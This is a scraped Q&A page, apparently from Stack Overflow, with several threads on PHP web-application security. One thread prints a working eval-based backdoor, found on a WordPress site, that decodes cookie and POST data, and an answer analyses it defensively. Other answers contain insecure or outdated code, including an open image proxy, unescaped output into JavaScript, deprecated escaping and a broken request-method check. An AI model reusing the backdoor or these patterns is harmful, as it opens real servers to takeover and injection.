what is the best way to tell my server side script that the submitted form or data is coming from a trusted source or from my website?
Am already performing alot of server side data scrutinize, and think i can improve this more with the client side too
AM a php/mysql developer
To find out the IP of the user who posted the data use:
$ip = $_SERVER['REMOTE_ADDR'];
echo "<b>IP Address= $ip</b>";
According to the IP you can decide whether the user is trusted or not. (for instance if you'd like to trust only a special range of IP-addresses)
Whenever I read posted variables in PHP I use to filter them like that:
function check_string($string) {
// allowed chars: a-z,A-Z,0-9,-,_
if((preg_match('/^[a-zA-Z0-9\-\_]+$/',$string)))
return true;
return false;
}
It would filter all chars which are not a-z, A-Z, 0-9,- or _ and enhances the sites security a little bit. If you've access to your webserver:
Disable server banners (which display OS and apache version for instance), if you have access to the webservers configuration. This information can be very useful for hackers, and you want to disable everything which could help them in any way ;)
Prevent directory listing (for instance with .htaccess files). A simple example would be:
Options All -Indexes
Run the webserver with a limited user account (best would be to chroot the user as well)
Use mysql_real_escape_string in mysql queries and use htmlentities in html posts.
Example:
Wrong:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo $_POST['hai'];
}
?>
right:
<?php
if($_SERVER['REQUEST_METHOD'] == "post"){
echo htmlentities($_POST['hai']);
}
?>
$_POST can also be $_GET
wrong:
<?php
$query = "SELECT * FROM table WHERE msg = '". $_GET['hai'] ."'";
?>
right:
<?php
$query = "SELECT * FROM table WHERE msg = '". mysql_real_escape_string($_GET['hai']) ."'";
?>
And don't forget to use htmlentities when you get things out of the mysql table...
Greetings
I've always used a class that handled such issues, it would handle both server/client side and ensure that any input was made from the server itself. It would then validate and ensure it is not given special characters.
http://validformbuilder.org/
Let me know if that helps, it helped me a while ago. :)
I think the best option would be adding a digital signature to requests, even a simple one.
For example your site or the trusted source add the SHA checksum of the request computing it after the addition of a secret "salt" (that is not sent). The server gets the data, adds the same salt and computes the SHA signature, if the SHA matches then the source knew the secret and you can trust the content.
I guess your question implies CSRF... Just generate and add a validation token.
Many frameworks can manage these for you.
Guys, thanks for your help i appreciate it all. Generally i was talking about client side security ie making sure data coming from the client is from original source.
Generally SSL might just have been the answer, after a lot of browsing i found two sites that solves this issue to an extent: aSSL ,and Jquery implementation
This way my data is secured up to a level say 90%
what do you think?
Related
I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
Alright, so I've set up a small system where I can add pages through an administration panel and for them to appear on the main site. As well as html pages that are made in the admin panel I have also got about two PHP pages with queries that are stored in the database.
Anyways I am calling these by using 'Eval' which I've read that it is unsafe.
Although since its only html codes going in from the administration panel [php codes are disallowed and wont function if posted in these pages] and the PHP pages are unediable unless access to the database, is this safe?
One PHP page involves user comments but all HTML and PHP codes are stripped from the form. I've tested it involving a few exploiting techniques but none seemed to succeed.
But is using eval for my purpose safe? Is there a better work around?
Code:
<?php
if (isset($_GET['p']))
{
$stmt = $dbh->prepare('SELECT * FROM pages WHERE shortname = :p');
if (!$stmt->execute(array(':p' => $_GET['p'])))
{//
exit('Could not exec query with param: '.$_GET['p']);
}
while($row = $stmt->fetch(PDO::FETCH_ASSOC))
{
eval(" ?>".$row["content"]."<?php ");
echo '</div>';
}
}
//ends connection
$row->dbh = null;
?>
Sometimes writing secure code is more than being sure that it is safe. Maybe we all look at your code and think that it is safe, but oversee something small and obvious that will make a big security hole.
Better safe than sorry. You say [php codes are disallowed and wont function if posted in these pages] So why do you use eval then?
Back to your code. The parts that you have posted look safe to me (as for the eval part). But what if there is some small sql injection hole somewhere else in your application that lets the attacker change rows? The attacker will be able to put php code in your database and later execute it with your eval statement.
I would say: No, this code is not safe.
Also, do not echo user given content in your errors, this can lead to an xss vulnerability.
The actual questions
How to "map" access restrictions so it can be used from php and javasript?
What kind of method should I use to share access restrictions / rules between php and javascript?
Explanation
I have created a RESTful backend using php which will use context-aware access control to limit data access and modification. For example, person can modify address information that belongs to him and can view (but not modify) address information of all other persons who are in the same groups. And of course, group admin can modify address details of all the persons in that group.
Now, php side is quite "simple" as that is all just a bunch of checks. Javascript side is also quite "simple" as that as well is just a bunch of checks. The real issue here is how to make those checks come from the same place?
Javascript uses checks to show/hide edit/save buttons.
PHP uses checks to make the actual changes.
and yes,
I know this would be much more simpler situation if I ran javascript (NodeJS or the like) on server, but the backend has already been made and changing ways at this point would cause major setbacks.
Maybe someone has already deviced a method to model access checks in "passive" way, then just use some sort of "compiler" to run the actual checks?
Edit:
Im case it helps to mention, the front-end (js) part is built with AngularJS...
Edit2
This is some pseudo-code to clarify what I think I am searching for, but am not at all certain that this is possible in large scale. On the plus side, all access restrictions would be in single place and easy to amend if needed. On the darkside, I would have to write AccessCheck and canAct functions in both languages, or come up with a way to JIT compile some pseudo code to javascript and php :)
AccessRestrictions = {
Address: {
View: [
OWNER, MEMBER_OF_OWNER_PRIMARY_GROUP
],
Edit: [
OWNER, ADMIN_OF_OWNER_PRIMARY_GROUP
]
}
}
AccessCheck = {
OWNER: function(Owner) {
return Session.Person.Id == Owner.Id;
},
MEMBER_OF_OWNER_PRIMARY_GROUP: function(Owner) {
return Session.Person.inGroup(Owner.PrimaryGroup)
}
}
canAct('Owner', 'Address', 'View') {
var result;
AccessRestrictions.Address.View.map(function(role) {
return AccessCheck[role](Owner);
});
}
First things first.
You can't "run JavaScript on the server" because Javascript is always run on the client, at the same way PHP is always run on the server and never on the client.
Next, here's my idea.
Define a small library of functions you need to perform the checks. This can be as simple as a single function that returns a boolean or whatever format for your permissions. Make sure that the returned value is meaningful for both PHP and Javascript (this means, return JSON strings more often than not)
In your main PHP scripts, include the library when you need to check permissions and use the function(s) you defined to determine if the user is allowed.
Your front-end is the one that requires the most updates: when you need to determine user's permission, fire an AJAX request to your server (you may need to write a new script similar to #2 to handle AJAX requests if your current script isn't flexible enough) which will simply reuse your permissions library. Since the return values are in a format that's easily readable to JavaScript, when you get the response you'll be able to check what to show to the user
There are some solutions to this problem. I assume you store session variables, like the name of the authorized user in the PHP's session. Let's assume all you need to share is the $authenticated_user variable. I assume i'ts just a string, but it can also be an array with permissions etc.
If the $authenticated_user is known before loading the AngularJS app you may prepare a small PHP file whish mimics a JS file like this:
config.js.php:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo "var authenticated_user = '$authenticated_user';";
?>
If you include it in the header of your application it will tell you who is logged in on the server side. The client side will just see this JS code:
var authenticated_user = 'johndoe';
You may also load this file with ajax, or even better JSONP if you wrap it in a function:
<?php
session_start();
$authenticated_user = $_SESSION['authenticated_user'];
echo <<<EOD;
function set_authenticated_user() {
window.authenticated_user = '$authenticated_user';
}
EOD;
?>
So on my site (https://example.com) I have a page that parses the last.fm API and pulls back the images off their akamai CDN and displays them on the page.
The thing is all the images are served on HTTP ONLY, https is not supported.
e.g: http://userserve-ak.last.fm/serve/64s/76030502.png
I have an image proxy written in php:
<?php
header('Content-Type: image/png');
if(isset($_GET['img'])){echo file_get_contents($_GET['img']);}
?>
This works perfectly, however, is NOT secure at all, I want it so that only my server can use the image proxy and as such a hash in the URL might be the best option?
https://example.com/proxy.php?url=http://last.fm/image.jpg&hash=hashhere
I had thought of using:
md5($_GET['img']."privatekeyhere");
Then my problem turned to, how to I put the private key in the javascript code without the whole world having access to it?
Any help much appreciated.
I have since written this script that is somewhat effective but still open to being circumvented:
<?php
$args = $_GET['q'];
$date = date('m-d-Y-h-i', time());
list($hash,$img,$auth) = explode("/", $args);
if($hash=="need" && $auth=="key"){
$checksum = md5($img.$date);
echo $checksum;
}
if($hash==md5($img.$date))
{
header('Content-Type: image/png');
echo file_get_contents('http://userserve-ak.last.fm/serve/64s/' . $img);
}
?>
This can be called like so: https://www.mylesgray.com/lastfm/need/76030502.png/key
The auth code can then be plugged in to display the image: https://www.mylesgray.com/lastfm/{code-here}/76030502.png
However it doesn't take long for someone to figure out they can set up a script to poll for a key every minute - any advice?
Generate unique tokens. You're on the right track with a hash, but if you keep your private key constant, it'll eventually get brute-forced. From there, rainbow tables say hi.
You're effectively going to have to borrow a leaf or two from mechanisms used to prevent CSRF abuse, as you're effectively trying to do the same thing: limit the user to one query per token, with a token that cannot be regenerated by them.
There are tons of ways to do this, and the usual trade-off is between efficiency and security. The simplest is what you've suggested - which is easily brute-forceable.
At the opposite end of the spectrum is the DB approach - generate a unique token per visit, store it in a DB, and validate subsequent calls against this. It is pretty DB-intensive but works out relatively well - and is virtually impossible to break unless the token generation is weak.
As proposed by Stopping Bot [SO] - PHP i've developed a anti-bot system in PHP which code can be viewed at https://codereview.stackexchange.com/questions/2362/anti-bot-comment-system-php
But anyone can obtain a token by viewing getToken.php
In SO they get the token from stackauth.com [i think so by viewing page code], but when i browsed it it just showed some text !
How can i do something like that ? [token to be passed only when requested by the code, not by the browser]
The process of generating and verifying token
in the form page
$hash=sha1($time.$myKey);
echo $time.'#'.$hash;
In the poster/verification page
$token=explode($_POST['token'],'#',2);
if (sha1($token[0].$myKey)==$token[1])
echo 'A good Human';
Edit
I do not store used token in the database, and a token get expired after [say] 5 minutes !
Think a bad user gets the token 2011-05-18 11:10:12#AhAShKey000000000 he can use the token to submit random text to 2011-05-18 11:15:12, how can i fix this issue ?
Not totally sure this is the answer you're after, but...
Load the token statically in the page, instead of with Ajax. Then you know that the form page was loaded for sure.
You can use ftok(__FILE__,'T'); - and token will be unique on each system.
Instead of T you can use any letter, read Manual.
As example, in your getToken.php you can replace:
$hash=sha1($key.'mySecretKey');
with
$hash=sha1($key.ftok(__FILE__,'T'));
This function exists only in linux/unix-based systems.
That won't stop anything, in fact it'll only add more strain on your server.
Use hashcash instead (Wordpress plugin).
Nothing is going to completely stop this kind of activity. For the 99.99999999999% case though, a method that uses a server side component plus something that uses javascript to do a transform on the the data you get back from the server is going to stop the majority of bots that are out there (unless they're based on node.js and are using jsdom ;-)).
Well, this is kind of impossible to fix. You can't see if a bot or a browser is viewing your "token page". All things you could check for are also possible to mimic. (Referrers, more hashes or user-agents)
You should ask yourself, what do you want to protect your site from? For a regular bot you methods is okay, it will take way too much time to crack your script and spam just your site. It will just go on and spam someone else. So in that cast your script will give enough protection.
When there is someone targeting just your site and he takes the time to crack it, he will probably succeed. So you also want to keep this kind of bots/people out? I would suggest to display a captcha after, for example, 3 posts within an hour from one IP-address. That will keep them out.
It's not always about being completely secure, your solution could already be good enough... If more protection is required, just use captchas or something like that.
Okay this, as is everything else, is not completely secure.
You could try creating a similar hash with javascript that carries the time and a unique ID of the user and sending that with the request.
You can then even add that to the code generation and verification.
In the absence of this hash, no code is served.
Sort of like a handshake.
After reading all the answer carefully i've developed this [thanx to all the people for their valuable comment and answer]
<?php
$time = microtime();
for ($i=1;$i<=10000;$i++)
generateMath();
echo 'Generating '.$i.' math Took '.(microtime()-$time);
function generateMath()
{
$operands = array(43,45,42);
$val = chr(rand(48,57));
$ope = chr($operands[rand(0,2)]);
$txt = $val.$ope; //42* 43+ 45- 47/
$val2 = chr(rand(48,57));
$txt .= $val2;
$ans = 0;
if ($ope == '+')
$ans = $val + $val2;
else if ($ope == '-')
$ans = $val - $val2;
else if ($ope == '*')
$ans = $val * $val2;
echo $txt.' -> '.$ans.'<br/>';
}
?>
This can be enhanced by adding random number of spaces in $txt = $val.$spaces.$ope.$spaces.$val2;
And it was faster than CAPCHA, people will have to do a really simple math if they post more than 30 or so comments in an hour !